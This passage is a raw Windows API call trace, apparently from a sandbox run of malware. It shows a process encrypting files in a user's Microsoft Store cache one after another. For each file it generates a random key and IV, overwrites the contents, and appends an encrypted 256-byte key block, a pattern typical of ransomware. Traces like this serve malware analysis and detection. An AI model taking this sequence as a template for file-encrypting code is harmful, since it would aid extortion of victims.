out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.510] WriteFile (in: hFile=0x196c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.511] WriteFile (in: hFile=0x196c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.511] CloseHandle (hObject=0x196c) returned 1 [0174.513] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.513] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0174.513] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0174.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69998 [0174.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0174.513] ReadFile (in: hFile=0x1970, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.513] SetFilePointer (in: hFile=0x1970, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.513] WriteFile (in: hFile=0x1970, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0174.513] SetFilePointer (in: hFile=0x1970, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0174.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.514] WriteFile (in: hFile=0x1970, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.515] WriteFile (in: hFile=0x1970, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.515] CloseHandle (hObject=0x1970) returned 1 [0174.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0174.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0174.517] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\index", dwFileAttributes=0x80) returned 1 [0174.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9210 [0174.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x617f08 [0174.517] ReadFile (in: hFile=0x1978, lpBuffer=0x33f8008, nNumberOfBytesToRead=0x1da5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33f8008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1da5, lpOverlapped=0x0) returned 1 [0174.720] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-7589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.720] WriteFile (in: hFile=0x1978, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0x1da5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1da5, lpOverlapped=0x0) returned 1 [0174.721] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1da5 [0174.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.722] WriteFile (in: hFile=0x1978, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.722] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.722] CloseHandle (hObject=0x1978) returned 1 [0174.724] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0174.724] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0174.724] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\cf305046-df1e-43ca-88e4-ce3ad1b7bfa9", dwFileAttributes=0x80) returned 1 [0174.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0174.725] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0174.725] ReadFile (in: hFile=0x1978, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x3ac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ac, lpOverlapped=0x0) returned 1 [0174.807] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.807] WriteFile (in: hFile=0x1978, lpBuffer=0x2f75078*, nNumberOfBytesToWrite=0x3ac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ac, lpOverlapped=0x0) returned 1 [0174.807] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ac [0174.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.808] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.808] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.808] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.808] CloseHandle (hObject=0x1978) returned 1 [0174.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0174.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0174.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\bba8ff68-64fb-4605-ae42-fe59570f7bb7", dwFileAttributes=0x80) returned 1 [0174.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0174.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0174.865] ReadFile (in: hFile=0x1978, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x1dd87, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x1dd87, lpOverlapped=0x0) returned 1 [0174.968] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-122247, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.968] WriteFile (in: hFile=0x1978, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1dd87, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1dd87, lpOverlapped=0x0) returned 1 [0174.969] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1dd87 [0174.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0174.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0174.969] WriteFile (in: hFile=0x1978, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0174.970] WriteFile (in: hFile=0x1978, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0174.970] CloseHandle (hObject=0x1978) returned 1 [0174.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0174.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0174.971] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\af440790-6f0a-42ac-b8a5-e53856d9d828", dwFileAttributes=0x80) returned 1 [0174.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0174.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0174.972] ReadFile (in: hFile=0x1978, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x12a32, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x12a32, lpOverlapped=0x0) returned 1 [0175.028] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-76338, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.028] WriteFile (in: hFile=0x1978, lpBuffer=0x30e3a68*, nNumberOfBytesToWrite=0x12a32, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3a68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12a32, lpOverlapped=0x0) returned 1 [0175.029] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12a32 [0175.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.029] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.029] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.030] CloseHandle (hObject=0x1978) returned 1 [0175.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0175.031] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\816b519f-6aae-4806-a871-9e26a12741ef", dwFileAttributes=0x80) returned 1 [0175.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578ba0 [0175.031] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.031] ReadFile (in: hFile=0x1978, lpBuffer=0x619440, nNumberOfBytesToRead=0xc70, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0xc70, lpOverlapped=0x0) returned 1 [0175.033] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-3184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.033] WriteFile (in: hFile=0x1978, lpBuffer=0x33f8008*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33f8008*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc70, lpOverlapped=0x0) returned 1 [0175.033] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc70 [0175.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.034] WriteFile (in: hFile=0x1978, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.034] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.034] CloseHandle (hObject=0x1978) returned 1 [0175.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0175.036] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\6ac60a78-519d-4397-8cfd-8288aad6ad67", dwFileAttributes=0x80) returned 1 [0175.036] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0175.036] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.036] ReadFile (in: hFile=0x1978, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x799, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x799, lpOverlapped=0x0) returned 1 [0175.072] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-1945, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.073] WriteFile (in: hFile=0x1978, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x799, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x799, lpOverlapped=0x0) returned 1 [0175.073] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x799 [0175.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.073] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.074] WriteFile (in: hFile=0x1978, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.074] CloseHandle (hObject=0x1978) returned 1 [0175.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\564654d8-f181-4d50-84f0-95228e86ec66", dwFileAttributes=0x80) returned 1 [0175.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578ba0 [0175.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.076] ReadFile (in: hFile=0x1978, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4e00, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e00, lpOverlapped=0x0) returned 1 [0175.123] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-19968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.123] WriteFile (in: hFile=0x1978, lpBuffer=0x30d5e30*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5e30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e00, lpOverlapped=0x0) returned 1 [0175.124] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e00 [0175.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.124] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.124] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.125] CloseHandle (hObject=0x1978) returned 1 [0175.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.138] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.138] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1fc7d273-b221-48f6-9872-22321b90204a", dwFileAttributes=0x80) returned 1 [0175.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578cc8 [0175.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.138] ReadFile (in: hFile=0x1978, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x9bc, lpOverlapped=0x0) returned 1 [0175.151] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-2492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.151] WriteFile (in: hFile=0x1978, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9bc, lpOverlapped=0x0) returned 1 [0175.151] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9bc [0175.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.152] WriteFile (in: hFile=0x1978, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.152] WriteFile (in: hFile=0x1978, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.152] CloseHandle (hObject=0x1978) returned 1 [0175.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0175.154] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.154] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\1dcea220-55cd-470a-a680-6d186485df4e", dwFileAttributes=0x80) returned 1 [0175.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578700 [0175.155] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x56c6b8 [0175.155] ReadFile (in: hFile=0x1978, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x1af8a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x1af8a, lpOverlapped=0x0) returned 1 [0175.156] SetFilePointer (in: hFile=0x1978, lDistanceToMove=-110474, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.156] WriteFile (in: hFile=0x1978, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1af8a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1af8a, lpOverlapped=0x0) returned 1 [0175.157] SetFilePointer (in: hFile=0x1978, lDistanceToMove=0, 